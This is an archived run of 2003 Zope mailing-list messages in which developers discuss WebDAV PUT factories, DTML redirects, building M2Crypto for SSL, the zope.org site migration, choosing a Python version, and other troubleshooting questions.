<20030801130449.212e8caa.cnd@ecn.purdue.edu> Message-ID: <20030801130632.108b56cc.cnd@ecn.purdue.edu> Apologies, I forgot to change the subject of the message. -Chris On Fri, 1 Aug 2003 13:04:49 -0500, Christopher N. Deckard spoke forth: > Hello, > I've written a ZMI configurable PutFactory Product to allow our > users to be able to configure what types of objects are created > when files are PUT using WebDav. What I would like to add is the > ability to call a script immediately after the object is created. > The script could do things like auto-catalog images in a ZCatalog > or send out an email every time a file is uploaded. > > Looking at the code in webdav/NullResource.py NullResources.PUT(): > > ob = (factory(name, typ, body) or > self._default_PUT_factory(name, typ, body) > ) > # We call _verifyObjectPaste with verify_src=0, to see if > the # user can create this type of object (and we don't need > to # check the clipboard. > try: > parent._verifyObjectPaste(ob.__of__(parent), 0) > except Unauthorized: > raise > except: > raise 'Forbidden', sys.exc_info()[1] > > # Delegate actual PUT handling to the new object. > ob.PUT(REQUEST, RESPONSE) > self.__parent__._setObject(name, ob) > > RESPONSE.setStatus(201) > > it doesn't look like I can do what I'd like to do without > overriding NullResource.PUT(). Any thoughts on how to accomplish > this? > > Thanks, > -Chris > -- -------------------------------------------------------------------- Christopher N. Deckard | Lead Web Systems Developer cnd@ecn.purdue.edu | Engineering Computer Network http://eng.purdue.edu/ECN/ | Purdue University ---- zlib.decompress('x\234K\316Kq((-J)M\325KM)\005\000)"\005w') --- From tino@wildenhain.de Fri Aug 1 20:16:05 2003 From: tino@wildenhain.de (Tino Wildenhain) Date: Fri, 01 Aug 2003 21:16:05 +0200 Subject: [Zope] Problem with dtml-if sequence-start In-Reply-To: <1059753286.8299.13.camel@ida.dylanreinhardt.com> References: <1059752847.8294.8.camel@ida.dylanreinhardt.com> <1059753286.8299.13.camel@ida.dylanreinhardt.com> Message-ID: <3F2ABC75.4020305@wildenhain.de> Dylan Reinhardt wrote: > On Fri, 2003-08-01 at 08:47, Dylan Reinhardt wrote: > >>There is no dtml-return. You want dtml-call. > > > Grr... sorry. Of course there *is* a dtml-return tag. > > It's still not what you want. > > If you want to redirect the user, use dtml-call. If you want to return > the output of another object, use dtml-var. > > There are precious few cases where dtml-return is correct... so few, in > fact, you could use Zope for a couple years straight and easily forget > it exists. :-) Hehe. You can also use Zope and easyly forget that DTML exists ;) At least for templates and logic. For that redirect issue - one should note that the page is indead calculated and rendered, since the redirect-call only sets a HTTP-HEader. So if content of page is confidental, just "jump out" with return after redirect, or use raise "Redirect","path..." String Exceptions are ugly, but Zopes roots go back to python1.4 or worser ;) HTH Tino From bz@bwanazulia.com Fri Aug 1 21:30:13 2003 From: bz@bwanazulia.com (BZ) Date: Fri, 1 Aug 2003 15:30:13 -0500 (CDT) Subject: [Zope] NOTICE: Final content migration and transition to new zope.org begins today! In-Reply-To: References: Message-ID: <54333.199.67.140.20.1059769813.squirrel@webmail.mahnke.net> Hey Brian, I have been looking all day... no new Zope.org? BZ > Hi all - sorry for the wide cross-posting, but I want to be sure > that the word gets out. > > Starting today, we will be starting the transition of zope.org to > a new look and a new platform. > > We plan to do the final content migration later today, so if you > are a frequent content contributor to zope.org, you may want to > hold off on new additions until the new site goes live (expected > to be Friday). > > I've put a prominent notice on the current zope.org homepage with > the same info. > > Thanks, and we'll see you on Friday with a new zope.org! > > > Brian Lloyd brian@zope.com > V.P. Engineering 540.361.1716 > Zope Corporation http://www.zope.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From zope@dylanreinhardt.com Fri Aug 1 21:45:40 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 01 Aug 2003 13:45:40 -0700 Subject: [Zope] Problem with dtml-if sequence-start In-Reply-To: <3F2ABC75.4020305@wildenhain.de> References: <1059752847.8294.8.camel@ida.dylanreinhardt.com> <1059753286.8299.13.camel@ida.dylanreinhardt.com> <3F2ABC75.4020305@wildenhain.de> Message-ID: <1059770740.9946.95.camel@ida.dylanreinhardt.com> On Fri, 2003-08-01 at 12:16, Tino Wildenhain wrote: > Dylan Reinhardt wrote: > > On Fri, 2003-08-01 at 08:47, Dylan Reinhardt wrote: > > There are precious few cases where dtml-return is correct... so few, in > > fact, you could use Zope for a couple years straight and easily forget > > it exists. :-) > > Hehe. You can also use Zope and easyly forget that DTML exists ;) > At least for templates and logic. Guess I walked into that one... :-) Dylan From whysean@softhome.net Fri Aug 1 21:31:57 2003 From: whysean@softhome.net (whysean@softhome.net) Date: Fri, 01 Aug 2003 14:31:57 -0600 Subject: [Zope] Installing SSL for Zope on Mandrake Message-ID: Can anyone help me with installing SSL for Zope on Mandrake? I am having trouble installing M2Crypto acording to the instructions at: http://mars.post1.com/home/ngps/m2/INSTALL.html Fails to build during this part of the install: unzip m2crypto-0.11.zip cd m2crypto-0.11 python setup.py build error message is: gcc -g -O2 -Wall -Wstrict-prototypes -fPIC -I/root/m2crypto-0.11/SWIG -I/usr/include -I/usr/local/include/python2.1 -c SWIG/_m2crypto.c -o build/temp.linux-i686-2.1/_m2crypto.o -DTHREADING SWIG/_m2crypto.c:677:25: openssl/err.h: No such file or directory SWIG/_m2crypto.c:678:26: openssl/rand.h: No such file or directory SWIG/_m2crypto.c:742:28: openssl/crypto.h: No such file or directory SWIG/_m2crypto.c:745: `CRYPTO_NUM_LOCKS' undeclared here (not in a function) SWIG/_m2crypto.c:746: `CRYPTO_NUM_LOCKS' undeclared here (not in a function) SWIG/_m2crypto.c: In function `threading_locking_callback': SWIG/_m2crypto.c:751: `CRYPTO_LOCK' undeclared (first use in this function) S From chrism@zope.com Fri Aug 1 22:23:21 2003 From: chrism@zope.com (Chris McDonough) Date: Fri, 1 Aug 2003 17:23:21 -0400 Subject: [Zope] Installing SSL for Zope on Mandrake References: Message-ID: <01ac01c35873$2298fa00$a017a8c0@james> Do you have the openssl development libraries installed? On one of my systems, they come from the rpm entitled "openssl-devel-0.9.6-3". - C ----- Original Message ----- From: To: Sent: Friday, August 01, 2003 4:31 PM Subject: [Zope] Installing SSL for Zope on Mandrake > > Can anyone help me with installing SSL for Zope on Mandrake? > > I am having trouble installing M2Crypto acording to the instructions at: > > http://mars.post1.com/home/ngps/m2/INSTALL.html > > Fails to build during this part of the install: > > unzip m2crypto-0.11.zip > cd m2crypto-0.11 > python setup.py build > > error message is: > > gcc -g -O2 -Wall -Wstrict-prototypes -fPIC -I/root/m2crypto-0.11/SWIG > -I/usr/include -I/usr/local/include/python2.1 -c SWIG/_m2crypto.c -o > build/temp.linux-i686-2.1/_m2crypto.o -DTHREADING > SWIG/_m2crypto.c:677:25: openssl/err.h: No such file or directory > SWIG/_m2crypto.c:678:26: openssl/rand.h: No such file or directory > SWIG/_m2crypto.c:742:28: openssl/crypto.h: No such file or directory > SWIG/_m2crypto.c:745: `CRYPTO_NUM_LOCKS' undeclared here (not in a > function) > SWIG/_m2crypto.c:746: `CRYPTO_NUM_LOCKS' undeclared here (not in a > function) > SWIG/_m2crypto.c: In function `threading_locking_callback': > SWIG/_m2crypto.c:751: `CRYPTO_LOCK' undeclared (first use in this > function) > S > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From cnd@ecn.purdue.edu Fri Aug 1 22:28:29 2003 From: cnd@ecn.purdue.edu (Christopher N. Deckard) Date: Fri, 1 Aug 2003 16:28:29 -0500 Subject: [Zope] getting parent in product In-Reply-To: References: <20030801130449.212e8caa.cnd@ecn.purdue.edu> Message-ID: <20030801162829.215ea3c3.cnd@ecn.purdue.edu> Alright, I got that to work, but I have some problems with it. The new manage_afterAdd is permanent. I want the object to have it's normal manage_afterAdd method. I also want that manage_afterAdd method to be called in addition to my extra code. Is there a way to get at it? Is there a way to reset manage_afterAdd to the normal one? This is important. For example, if you have a catalog aware object, the new manage_afterAdd method will not do any of the cataloging. Thanks, -Chris On Fri, 1 Aug 2003 14:13:10 -0400, Jens Vagelpohl spoke forth: > add a method with the signature "manage_afterAdd(self, item, > container)" to the class that you are instantiating. it is always > called after instantiation. > > jens > > > On Friday, Aug 1, 2003, at 14:04 US/Eastern, Christopher N. > Deckard wrote: > > > What I would like to add is the ability > > to call a script immediately after the object is created. The > > script could do things like auto-catalog images in a ZCatalog or > > send out an email every time a file is uploaded. From brian@zope.com Sat Aug 2 00:41:09 2003 From: brian@zope.com (Brian Lloyd) Date: Fri, 1 Aug 2003 19:41:09 -0400 Subject: [Zope] NOTICE: Final content migration and transition to new zope.org begins today! In-Reply-To: <54333.199.67.140.20.1059769813.squirrel@webmail.mahnke.net> Message-ID: > > Thanks, and we'll see you on Friday with a new zope.org! > > > > > Hey Brian, > > I have been looking all day... no new Zope.org? > > BZ You'll notice I didn't say *which* Friday :^) Seriously, the final migration is just about done running. I still have a few hours left to make the deadline! Unless I run into any unexpected issues, we should be able to make it live late tonight EST. Brian Lloyd brian@zope.com V.P. Engineering 540.361.1716 Zope Corporation http://www.zope.com From brian@zope.com Sat Aug 2 03:06:48 2003 From: brian@zope.com (Brian Lloyd) Date: Fri, 1 Aug 2003 22:06:48 -0400 Subject: [Zope] New zope.org status update Message-ID: Hi all - Well the migration script is running great -- as it has been since 10a this morning :) It's currently converting member folders for users whose names start with 's' - so it has a little while still to go. It's a few hours over what I guesstimated it would take and still working, so I think I'm going to shoot for going live on Saturday. As exciting as it is watching names roll by in the log, I don't think it buys us much to go live at 4am vs. later on Saturday :) Brian Lloyd brian@zope.com V.P. Engineering 540.361.1716 Zope Corporation http://www.zope.com From dman@dman13.dyndns.org Fri Aug 1 22:19:00 2003 From: dman@dman13.dyndns.org (Derrick 'dman' Hudson) Date: Fri, 1 Aug 2003 17:19:00 -0400 Subject: [Zope] Re: Installing SSL for Zope on Mandrake In-Reply-To: References: Message-ID: <20030801211900.GA13053@dman13.dyndns.org> --1yeeQ81UyVL57Vl7 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Aug 01, 2003 at 02:31:57PM -0600, whysean@softhome.net wrote: | Can anyone help me with installing SSL for Zope on Mandrake?=20 The simplest method is to install mod_ssl for apache and use that in front of Zope. To bridge between apache and zope, either mod_proxy can be used or the PCGI mechanism can be used. -D --=20 Only two things are infinite, the universe and human stupidity, and I'm not sure about the former. Albert Einstein =20 http://dman13.dyndns.org/~dman/ --1yeeQ81UyVL57Vl7 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj8q2UQACgkQiB6vp1xAVUDFJACcCctFiZMrIGeWSwJ7EHCGuTxp jIkAn1dfDgJl5MmH2/9qW/cvkJxiLBFH =ZycA -----END PGP SIGNATURE----- --1yeeQ81UyVL57Vl7-- From zope@thewebsons.com Sat Aug 2 06:13:15 2003 From: zope@thewebsons.com (beno) Date: Sat, 02 Aug 2003 01:13:15 -0400 Subject: [Zope] OT: When Inheritance ISN'T Such A Good Idea... In-Reply-To: <3F2A4111.6020601@easypublisher.com> References: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> <5.1.0.14.0.20030801054234.02385548@mail.web.vi> Message-ID: <5.1.0.14.0.20030802011205.0238a628@mail.thewebsons.com> At 12:29 PM 8/1/2003 +0200, you wrote: >beno wrote: >>Search engines don't like Web sites with deep directory structures. > >Why do they care about the deep of a directory structure? >Limites in the fields storing URL or what? >I that case how much, and which search engines? > >Do you have any references? I have worked with one of the top 10 SEO experts in the world. The reason they care is because of spamdexting: spaming the indexes. beno From zope@thewebsons.com Sat Aug 2 06:15:25 2003 From: zope@thewebsons.com (beno) Date: Sat, 02 Aug 2003 01:15:25 -0400 Subject: [Zope] When Inheritance ISN'T Such A Good Idea... In-Reply-To: <3F2A9498.5000000@jcameroncooper.com> References: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> <5.1.0.14.0.20030801054234.02385548@mail.web.vi> Message-ID: <5.1.0.14.0.20030802011457.00bc5ea8@mail.thewebsons.com> At 11:26 AM 8/1/2003 -0500, you wrote: >>Search engines don't like Web sites with deep directory structures. I use >>such structure to develop my Web sites to take advantage of inheritance. >>I keep all my Python scripts in a separate directory as well as the basic >>content of each page. This, of course, makes things neat and tidy in my >>Zope. So I don't want to simply throw everything in the root dir! Is >>there a way to call scripts and Template Pages from other pages such that >>it renders as a simple URL without deep directories (e.g., >>http://mysite.com/main.html ) or frames? > >Just to be picky, it's acquisition rather than inheritance. Certainly >they're similar concepts, but not quite the same. > >There is a beast called TransparentFolder that does what you describe: >reverse acquisition. >http://www.zope.org/Members/hathawsh/TransparentFolders > >It has some known performance consequences. > >If you really mean "call", then you can do things like >"root.scripts.someScript". If you mean "link to", then I'm afraid that >things in general live where they live. > >There are also things like PortableHole, MovedObject, References, et al. >(Also Redirector and Rewriter, which I never did get working.) Thanks for the direction. beno From chrisw@nipltd.com Sat Aug 2 15:07:30 2003 From: chrisw@nipltd.com (Chris Withers) Date: Sat, 02 Aug 2003 15:07:30 +0100 Subject: [Zope] Gzip in 2.6? How to do I check? (ANSWERED!) In-Reply-To: <3F29096F.10657.7C12416D@localhost> References: <3F28FC4D.32065.7BDEF420@localhost> <3F29096F.10657.7C12416D@localhost> Message-ID: <3F2BC5A2.4040105@nipltd.com> Brad Clements wrote: > On 31 Jul 2003 at 10:33, BZ wrote: > >>Would you be interested in seeing the errors, etc I am getting? > > I'm not sure how I could be helpful. It either works or it doesnt. What might be helpful is to run up something like ethereal or Shane's TCPWatch.py and grab the response from Apache (which works, IIRC) and compare it with a similarly grabbed response from Zope to see what the differences are... cheers, Chris From chrisw@nipltd.com Sat Aug 2 15:15:46 2003 From: chrisw@nipltd.com (Chris Withers) Date: Sat, 02 Aug 2003 15:15:46 +0100 Subject: [Zope] Character-set woes (possibly OT) In-Reply-To: <3F298C0B.5070209@textmatters.com> References: <006801c34c21$83804840$0100a8c0@bmipublications.com> <3F16363B.9040800@easypublisher.com> <3F16D7BB.7010705@textmatters.com> <3F180482.7000503@nipltd.com> <3F197A1E.7080900@textmatters.com> <3F2700BA.9030201@nipltd.com> <3F285224.2030805@textmatters.com> <3F2948CA.5020309@nipltd.com> <3F298C0B.5070209@textmatters.com> Message-ID: <3F2BC792.9090602@nipltd.com> Mark Barratt wrote: > But I want Unicode all the way through everything because it's the Right > Thing To Do, Hmm, I'm not sure that'll be possible before Zope 3. Toby Dickenson would be the man to ask, IIRC :-) cheers, Chris From chrisw@nipltd.com Sat Aug 2 15:23:05 2003 From: chrisw@nipltd.com (Chris Withers) Date: Sat, 02 Aug 2003 15:23:05 +0100 Subject: [Zope] When Inheritance ISN'T Such A Good Idea... In-Reply-To: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> References: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> Message-ID: <3F2BC949.7060709@nipltd.com> beno wrote: > Hi; > Search engines don't like Web sites with deep directory structures. What are you basing this assertion on? cheers, Chris From chrisw@nipltd.com Sat Aug 2 15:26:13 2003 From: chrisw@nipltd.com (Chris Withers) Date: Sat, 02 Aug 2003 15:26:13 +0100 Subject: [Zope] request.set sequence value In-Reply-To: <00ca01c35832$fb051810$9700000a@MICHAEL> References: <007401c352b0$847863f0$9700000a@MICHAEL> <3F293997.5020903@nipltd.com> <00ca01c35832$fb051810$9700000a@MICHAEL> Message-ID: <3F2BCA05.2060804@nipltd.com> Michael Bleijerveld wrote: > Hello Chris, > > Here are the statements which generates an error. > > > next-sequence-start-number>)"> Okay, you can't do this! you want: FWIW, you should be doing this in ZPT by now to avoid this kind of suffering... Chris From chrisw@nipltd.com Sat Aug 2 15:28:00 2003 From: chrisw@nipltd.com (Chris Withers) Date: Sat, 02 Aug 2003 15:28:00 +0100 Subject: SV: [Zope] Automatic authenticating users in Zope behind IIS In-Reply-To: References: Message-ID: <3F2BCA70.70905@nipltd.com> Carsten Gehling wrote: > I got it working with RemoteUserFolder. Only it would be nice to get group > associations from the Active Directory server and use these as Roles. Groups != Roles, in several subtle ways... > I probably need to add some LDAP support to RemoteUserFolder. The is an > LDAPUserFolder, but I don't think it supports the REMOTE_USER > authentication. Probably not. You could always look at SimpleUserFolder and script or subclass the exact required functionality yourself :-) cheers, Chris From SamirMishra@cbuae.gov.ae Sat Aug 2 15:43:52 2003 From: SamirMishra@cbuae.gov.ae (Samir Mishra) Date: Sat, 2 Aug 2003 18:43:52 +0400 Subject: [Zope] Cookie Crumbler - How do I use it? Message-ID: <211AD0070D42D1118C7B00A024FF19AE2EBEFD@AUHEXCH> OK I seem to be really dense on this, just can't figure out how to actually use the cookie crumbler product for form based authentication. Would someone have an easy sample I could learn from? Usually I'm OK at this stuff... Thanks for your patience. Regards, Samir From rmckanry@yahoo.com Sat Aug 2 17:52:07 2003 From: rmckanry@yahoo.com (Rex McKanry) Date: Sat, 2 Aug 2003 09:52:07 -0700 (PDT) Subject: [Zope] User info Message-ID: <20030802165207.82439.qmail@web14502.mail.yahoo.com> Hi All, I was wondering if there is away to capture the users ID when I have someone login. I want to get the user name and find it in a database to determine if this person is a supervisor or not. Then let them see screens that others are not allowed access to. Thanks, Rex __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From kevin@movieextras.ie Sat Aug 2 22:17:22 2003 From: kevin@movieextras.ie (Kevin Gill) Date: Sat, 2 Aug 2003 22:17:22 +0100 Subject: [Zope] Exception Handling Email Message-ID: <200308022217.22810.kevin@movieextras.ie> On my web-site, when an exception occurs, I email the http request and the exception traceback to myself. A few times when I have done something really stupid, I have created an even which results in a large number of exceptions. In the last week I have got nearly 1000 exception reports. I am planning to do something which suppresses duplicate reports or at least would suppress them for an hour or so. Has this been done already and is there a recipe somewhere? Thanks Kevin Gill From michael@bleijerveld.nl Sat Aug 2 22:50:16 2003 From: michael@bleijerveld.nl (Michael Bleijerveld) Date: Sat, 2 Aug 2003 23:50:16 +0200 Subject: [Zope] request.set sequence value References: <007401c352b0$847863f0$9700000a@MICHAEL> <3F293997.5020903@nipltd.com> <00ca01c35832$fb051810$9700000a@MICHAEL> <3F2BCA05.2060804@nipltd.com> Message-ID: <001601c35940$0f723db0$9700000a@MICHAEL> Hi Chris, When I use this statement I get the following error. Error Type: AttributeError Error Value: set Traceback (innermost last): Module ZPublisher.Publish, line 98, in publish Module ZPublisher.mapply, line 88, in mapply Module ZPublisher.Publish, line 39, in call_object Module OFS.DTMLMethod, line 126, in __call__ Module DocumentTemplate.DT_String, line 474, in __call__ Module DocumentTemplate.DT_Let, line 76, in render Module DocumentTemplate.DT_With, line 76, in render Module DocumentTemplate.DT_In, line 604, in renderwb Module DocumentTemplate.DT_Util, line 201, in eval - __traceback_info__: REQUEST Module , line 2, in f AttributeError: set Greetings,Michael----- Original Message ----- From: "Chris Withers" To: "Michael Bleijerveld" Cc: Sent: Saturday, August 02, 2003 4:26 PM Subject: Re: [Zope] request.set sequence value > Michael Bleijerveld wrote: > > > Hello Chris, > > > > Here are the statements which generates an error. > > > > > > > next-sequence-start-number>)"> > > Okay, you can't do this! > > you want: > > > > FWIW, you should be doing this in ZPT by now to avoid this kind of suffering... > > Chris > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From brian@zope.com Sat Aug 2 23:11:26 2003 From: brian@zope.com (Brian Lloyd) Date: Sat, 2 Aug 2003 18:11:26 -0400 Subject: [Zope] New zope.org update (again!) Message-ID: Well, the migration has finished converting things and is now reindexing. By looking at the log, that's going to take a while. I think we're going to shoot for going live Monday, since I think the timing for when things will finish is going to work out to an unreasonable hour for doing the final things that need to be done for the switchover. Why-does-life-have-to-be-so-hard 'ly, Brian Lloyd brian@zope.com V.P. Engineering 540.361.1716 Zope Corporation http://www.zope.com From huima@iki.fi Sat Aug 2 23:41:04 2003 From: huima@iki.fi (Heimo Laukkanen) Date: Sun, 03 Aug 2003 01:41:04 +0300 Subject: [Zope] Zope threads on Slackware Message-ID: <3F2C3E00.4030501@iki.fi> Hi all, urgent need for help on Zope threads on Slackware linux. I'm not familiar with slackware and the sysadmin is not familiar with Python, but the situation is that somehow Zope does not run more than one thread on the system. Python is compiled with threads - and there seemed to be no errors on that. Zope is configured to start 4 threads. It looks like Zope tries to start the threads, but these threads die very fast ( in microseconds or so ). Any help on debugging would be appreciated. -huima From jens@zope.com Sun Aug 3 02:25:57 2003 From: jens@zope.com (Jens Vagelpohl) Date: Sat, 2 Aug 2003 21:25:57 -0400 Subject: [Zope] Zope threads on Slackware In-Reply-To: <3F2C3E00.4030501@iki.fi> Message-ID: <6EEAF7EA-C551-11D7-8B57-000393D58818@zope.com> what makes you think it only runs on one thread? the output of "ps"? that's misleading in the latest distributions. use the "-m" switch to ps to show all threads. jens On Saturday, Aug 2, 2003, at 18:41 US/Eastern, Heimo Laukkanen wrote: > Hi all, > > urgent need for help on Zope threads on Slackware linux. I'm not > familiar with slackware and the sysadmin is not familiar with Python, > but the situation is that somehow Zope does not run more than one > thread on the system. > > Python is compiled with threads - and there seemed to be no errors on > that. > > Zope is configured to start 4 threads. It looks like Zope tries to > start the threads, but these threads die very fast ( in microseconds > or so ). > > Any help on debugging would be appreciated. > > -huima From ausum_studio@hotmail.com Sun Aug 3 04:09:33 2003 From: ausum_studio@hotmail.com (Ausum Studio) Date: Sat, 2 Aug 2003 22:09:33 -0500 Subject: [Zope] ExternalEditor and Zope's gzip compression, in Windows Message-ID: I just stumbled with a problem while working with both Zope's gzip compression and ExternalEditor: If you enable gzip in HTTPResponse.py, like this: use_HTTP_content_compression = 1 expect the problem that every time you click at the icon to launch the editor, Windows will start to ask for what to do with the to-download file. If you respond to open, then it will trigger the File Types dialog box, asking for the right app to open it. In other words, you'll be tempted to reinstall ExternalEditor. :) Any ideas of how to patch this? Thanks in advance, Ausum From Andreas Jung Sun Aug 3 08:12:15 2003 From: Andreas Jung (Andreas Jung) Date: Sun, 03 Aug 2003 09:12:15 +0200 Subject: [Zope] [ANN] TextIndexNG 2.0.1 released Message-ID: <2147483647.1059901935@[192.168.0.100]> I just released TextIndexNG 2.0.1. This release fixes a major bug in the querying interface and has improved support for indexing Excel and Powerpoint files on Win32. Also there is a better integration with the ZMS Publishing System and files attached to TTWObject instances. This release is available from Sourceforge only (because of the ongoing zope.org migration): http://sourceforge.net/project/showfiles.php?group_id=50052 -aj From allison@sumeru.stanford.EDU Sun Aug 3 18:29:35 2003 From: allison@sumeru.stanford.EDU (Dennis Allison) Date: Sun, 3 Aug 2003 10:29:35 -0700 (PDT) Subject: [Zope] Decisions, decisions! Which Python for Zope 2.6.2b5 Message-ID: The installation notes still say Python 2.1.3. Rumor has it that you can run under Python 2.2 but it's not recommended. In fact, the docs say explicitly not to use it. I have been using Python 2.3 through the beta period and like it--the new language features have quickly become part of my programming lexicon. Zope 2.7 is not ready for prime time use on a production site. As I remember, it will require Python 2.3. I'm setting up a production site where stability and performance are important. Whould I use Python 2.1.3 or Python 2.3? I am planning to use Zope 2.6.2b5. We've been doing our development against 2.6.2b3 and have found it to be stable. From vasu@ipass.net Sun Aug 3 18:18:05 2003 From: vasu@ipass.net (Vasu Muppalla) Date: Sun, 03 Aug 2003 13:18:05 -0400 Subject: [Zope] Newbie VHM/Siteroot question Message-ID: I am using zope standalone and have the SSL modules installed. Now I want to rewrite all management requests to the https ( runnin on port 8443). For this purpose, assume the URL has the string 'manage' in it. I tried using siteaccess, the following script as access rule. I get an error that resource is not found, blah blah. Resource is http: GET. With a string 'localhost' instead of 'manage' and SiterootPath = '/', the URL rewriting works. The error happens because of manage - dunno why. Is it possible to do it using only VHM and no siteroot ? TIA, Vasu From Andreas Jung Sun Aug 3 18:36:40 2003 From: Andreas Jung (Andreas Jung) Date: Sun, 03 Aug 2003 19:36:40 +0200 Subject: [Zope] Decisions, decisions! Which Python for Zope 2.6.2b5 In-Reply-To: References: Message-ID: <2147483647.1059939400@[192.168.0.100]> --On Sonntag, 3. August 2003 10:29 Uhr -0700 Dennis Allison wrote: > > The installation notes still say Python 2.1.3. > > Rumor has it that you can run under Python 2.2 but it's not recommended. > In fact, the docs say explicitly not to use it. > > I have been using Python 2.3 through the beta period and like it--the > new language features have quickly become part of my programming lexicon. > > Zope 2.7 is not ready for prime time use on a production site. As I > remember, it will require Python 2.3. It requires Python 2.2.3. Since the unittests of Zope 2.7 don't pass with Python 2.3 this is not a recommended combination. -aj From allison@sumeru.stanford.EDU Sun Aug 3 18:54:59 2003 From: allison@sumeru.stanford.EDU (Dennis Allison) Date: Sun, 3 Aug 2003 10:54:59 -0700 (PDT) Subject: [Zope] Decisions, decisions! Which Python for Zope 2.6.2b5 In-Reply-To: <2147483647.1059939400@[192.168.0.100]> Message-ID: Thanks... I guess for the moment I'll stick with 2.1.3 for the Zope system :-( On Sun, 3 Aug 2003, Andreas Jung wrote: > > > --On Sonntag, 3. August 2003 10:29 Uhr -0700 Dennis Allison > wrote: > > > > > The installation notes still say Python 2.1.3. > > > > Rumor has it that you can run under Python 2.2 but it's not recommended. > > In fact, the docs say explicitly not to use it. > > > > I have been using Python 2.3 through the beta period and like it--the > > new language features have quickly become part of my programming lexicon. > > > > Zope 2.7 is not ready for prime time use on a production site. As I > > remember, it will require Python 2.3. > > It requires Python 2.2.3. Since the unittests of Zope 2.7 don't pass with > Python 2.3 this is not a recommended combination. > > -aj > From rbickers-expires-1060540506.8076dc@logicetc.com Sun Aug 3 19:34:50 2003 From: rbickers-expires-1060540506.8076dc@logicetc.com (Ron Bickers) Date: Sun, 3 Aug 2003 14:34:50 -0400 Subject: [Zope] Decisions, decisions! Which Python for Zope 2.6.2b5 In-Reply-To: Message-ID: <000401c359ed$ec6ccb60$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of > Dennis Allison > I guess for the moment I'll stick with 2.1.3 for the Zope system :-( Note that different major versions of Python will happily coexist on a system. I have 2.1.3 installed for Zope, but 2.2.3 installed for every other use. _______________________ Ron Bickers Logic Etc, Inc. From allison@sumeru.stanford.EDU Sun Aug 3 20:00:08 2003 From: allison@sumeru.stanford.EDU (Dennis Allison) Date: Sun, 3 Aug 2003 12:00:08 -0700 (PDT) Subject: [Zope] Decisions, decisions! Which Python for Zope 2.6.2b5 In-Reply-To: <000401c359ed$ec6ccb60$0a00a8c0@logicetc.com> Message-ID: Actually I'll be running three versions. The RH9 version of Python 2.2.2 which seems to be required for RH system utilities (and is hacked :-( ), Python 2.1.3 for zope, and Python 2.3 for everything else. From borja.prieto@alanta.info Mon Aug 4 00:14:58 2003 From: borja.prieto@alanta.info (Borja Prieto) Date: Mon, 4 Aug 2003 01:14:58 +0200 Subject: [Zope] Problem with dtml-if sequence-start In-Reply-To: <1059770740.9946.95.camel@ida.dylanreinhardt.com> Message-ID: Thank you for your help, but... I have simplified my code, replaced dtml-return for dtml-call... and it still doesn´t work. Here is my code now: -----Mensaje original----- > De: zope-admin@zope.org [mailto:zope-admin@zope.org]En nombre de Dylan > Reinhardt > Enviado el: viernes, 01 de agosto de 2003 22:46 > Para: Tino Wildenhain > CC: Borja Prieto; zope@zope.org > Asunto: Re: [Zope] Problem with dtml-if sequence-start > > > On Fri, 2003-08-01 at 12:16, Tino Wildenhain wrote: > > Dylan Reinhardt wrote: > > > On Fri, 2003-08-01 at 08:47, Dylan Reinhardt wrote: > > > There are precious few cases where dtml-return is correct... > so few, in > > > fact, you could use Zope for a couple years straight and easily forget > > > it exists. :-) > > > > Hehe. You can also use Zope and easyly forget that DTML exists ;) > > At least for templates and logic. > > Guess I walked into that one... :-) > > > Dylan > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From lluporini@yahoo.com.ar Mon Aug 4 04:48:27 2003 From: lluporini@yahoo.com.ar (Luis Mariano Luporini) Date: Mon, 04 Aug 2003 00:48:27 -0300 Subject: [Zope] Extrange behavior with numeric datatypes and decimal places Message-ID: <3F2DD78B.5090903@yahoo.com.ar> Hi list. I'm having a problem using the following: - Gentoo Linux - Zope 2.6.1 - Python 2.1.3 - psycopg 1.1.2 - zpsycopgda 1.1.2 - Postgresql 7.3.3 The situation is I'm trying to get a number (result of a division) rounded to two decimal places and can't get it to work. After some research, my problem can be simplified to this: If I run the query: select 3::numeric(10,2) in psql I get a result of 3.00 (normal and expected behavior) in zope I get a result of 3.0 (why just one decimal place?) How can I get around this. Is this a bug in psycopg or something like that? Anybody experienced this? Thanks in advance. From zope@dylanreinhardt.com Mon Aug 4 05:05:29 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 03 Aug 2003 21:05:29 -0700 Subject: [Zope] Problem with dtml-if sequence-start In-Reply-To: References: Message-ID: <1059963491.12788.253.camel@ida.dylanreinhardt.com> On Sun, 2003-08-03 at 16:14, Borja Prieto wrote: > Here is my code now: > > > introducir un número de certificado')"> > > > > el certificado '+txtCertificado+' ya existe')"> > > "RESPONSE.redirect(URL1+'/IC'+'?txtCertificado='+txtCertificado)"> > [snip] > But when it finds the third case (there is a value for txtCertificado, and > it is not already in the database) it does nothing. That's because there is no possible case where the third dtml-call will ever be invoked. If BuscaCertificado is empty (no records found), there's nothing for dtml-in 